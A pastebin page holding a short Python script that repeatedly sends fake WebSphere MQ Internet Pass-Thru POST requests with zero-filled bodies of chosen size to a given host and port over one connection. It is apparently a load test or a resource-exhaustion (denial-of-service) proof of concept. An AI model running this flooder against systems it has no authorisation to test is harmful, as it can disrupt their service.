- #!/usr/bin/env python3
- import socket, argparse, select
- HEADER = 'POST http://{host}:{port}/mqipt HTTP/1.1\r\nHost: {host}:{port}\r\nUser-Agent: WebSphere-MQ-internet-pass-thru/2.1.0.4\r\nContent-Length: {len}\r\nAccept-Encoding: identity\r\nConnection: Keep-Alive\r\nContent-Type: application/octet-stream\r\nCookie: MQIPTSessionType=FullDuplex-S; MQIPTSessionId=test-{count}\r\nProxy-Connection: Keep-Alive\r\n\r\n'
- parser = argparse.ArgumentParser()
- parser.add_argument('--port', type = int, help = 'remote port', required = True)
- parser.add_argument('--host', type = str, help = 'remote host', required = True)
- parser.add_argument('--size', type = int, help = 'content length', required = True)
- parser.add_argument('--count', type = int, help = 'number of posts', required = True)
- ns = parser.parse_args()
- def drain(sock: socket.socket):
- rlist = [sock]
- while True:
- ready, _, _ = select.select(rlist, [], [], .0)
- if len(ready) == 0: break
- sock.recv(65535)
- def wait(sock: socket.socket):
- rlist = [sock]
- while True:
- ready, _, _ = select.select(rlist, [], [])
- if len(ready) > 0: break
- with socket.socket(socket.AF_INET, socket.SOCK_STREAM) as s:
- s.connect((ns.host, ns.port))
- count = 0
- while count < ns.count:
- s.sendall(bytes(HEADER.format(host = ns.host, port = ns.port, len = ns.size, count = count).encode('ascii')))
- s.sendall(bytes(0 for b in range(1, ns.size)))
- wait(s)
- drain(s)
- count += 1
- if count % 100 == 0:
- print('{} posts sent'.format(count))
Re: c
From Tacky Mockingjay, 4 Months ago, written in Plain Text, viewed 57 times.
This paste is a reply to c from Scorching Wolf
- view diff
URL https://code.nat.moe/view/5a730cdf
Embed
Download Paste or View Raw
— Expand Paste to full width of browser